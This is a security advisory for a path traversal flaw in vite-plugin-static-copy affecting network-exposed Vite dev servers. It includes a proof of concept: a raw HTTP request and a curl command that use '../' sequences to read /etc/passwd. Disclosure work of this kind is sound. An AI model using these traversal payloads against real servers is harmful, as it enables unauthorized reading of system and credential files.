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GHSA-pp7p-q8fx-2968

MediumCVSS 6 / 10
Published Aug 21, 2025·Last modified Aug 21, 2025
Affected Components(0)

No affected components available

Description

Summary

Files not included in src was possible to access with a crafted request.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Arbitrary files can be disclosed by exploiting this vulnerability.

Details

Consider the following configuration in used by vite.config.ts:

import { defineConfig } from 'vite'
import { viteStaticCopy } from 'vite-plugin-static-copy'

export default defineConfig({
    plugins: [
      viteStaticCopy({
        targets: [
          {
            src: "./public/images",
            dest: "./",
          },
        ],
      }),
    ],
  });

The files under the ./public/images is only expected to be served. Abusing this vulnerability, an attacker can access arbitrary files on the filesystem.

PoC

I've attached a demo app to showcase the bug.

Run it with npm run dev and issue the following HTTP request

GET /static/images/../../../../../../../etc/passwd HTTP/1.1
Host: localhost:3001
Content-Length: 2

OR

curl --path-as-is -i -s -k -X $'GET' \
    -H $'Host: localhost:3001' -H $'Content-Length: 2' \
    --data-binary $'\x0d\x0a' \
    $'http://localhost:3001/static/images/../../../../../../../etc/passwd'

Observe that the /etc/passwd file is included in the response.

<img width="1289" height="449" alt="Screenshot 2025-08-16 at 10 27 11 PM" src="https://github.com/user-attachments/assets/4de12612-7b86-44d7-a403-c76f12832e37" />
Risk Scores
Base Score
6.0

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights.

Threat Intelligence
2.3

Limited exploitation activity has been observed. Close monitoring and planned remediation are recommended.

EPSS
0.42%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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